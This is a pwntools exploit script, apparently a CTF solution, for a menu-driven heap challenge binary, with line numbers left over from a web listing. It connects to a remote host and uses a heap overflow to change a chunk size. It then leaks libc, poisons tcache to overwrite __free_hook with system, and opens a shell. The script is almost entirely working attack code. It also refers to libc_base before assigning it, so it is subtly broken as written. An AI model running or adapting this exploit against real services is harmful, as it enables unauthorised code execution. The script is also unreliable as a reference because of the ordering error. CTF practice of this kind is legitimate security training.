1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * from LibcSearcher import * import time, sys, base64
context.os = 'linux' context.arch = 'amd64'
context.log_level = 'debug'
debug = 2 filename = 'pwn1'
if debug == 1 : p = process(filename) if debug == 2: p = remote('47.104.143.202',43359) if debug == 3: p = remote('127.0.0.1',12345)
elf = ELF('./pwn1')
libc = ELF('libc-2.31.so')
def cmd(index): p.sendlineafter('>>',str(index))
def add(index,size): cmd(1) p.sendlineafter('I:>>',str(index)) p.sendlineafter('S:>>',str(size))
def edit(index,content): cmd(2) p.sendlineafter('I:>>',str(index)) p.sendlineafter('V:>>',content)
def show(index): cmd(3) p.sendlineafter('I:>>',str(index))
def free(index): cmd(4) p.sendlineafter('I:>>',str(index))
add(0,0x30) add(1,0x90) add(2,0x90) add(3,0x90) add(4,0x90) add(5,0x90) add(6,0x90)
add(7,0x50) add(8,0x90)
payload = b'a'*0x38 + p64(0x421) edit(0,payload)
free(1)
add(9,0x80)
show(9)
malloc_hook_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 1104 -0x10 log.success('malloc_hook_addr: ' + hex(malloc_hook_addr))
one = [0xe6c7e,0xe6c81,0xe6c84] one_gadget = libc_base + one[2] libc_base = malloc_hook_addr - libc.sym['__malloc_hook'] system_addr = libc_base + libc.sym['system'] free_hook=libc_base +libc.sym['__free_hook'] log.success('system_addr: ' + hex(system_addr)) log.success('one_gadget: ' + hex(one_gadget))
add(10,0x80) free(10) free(9) edit(0,b'a'*0x38+p64(0x91)+p64(free_hook)) add(11,0x80) edit(11,'/bin/sh\x00') add(12,0x80) edit(12,p64(system_addr)) free(11)
p.interactive()
|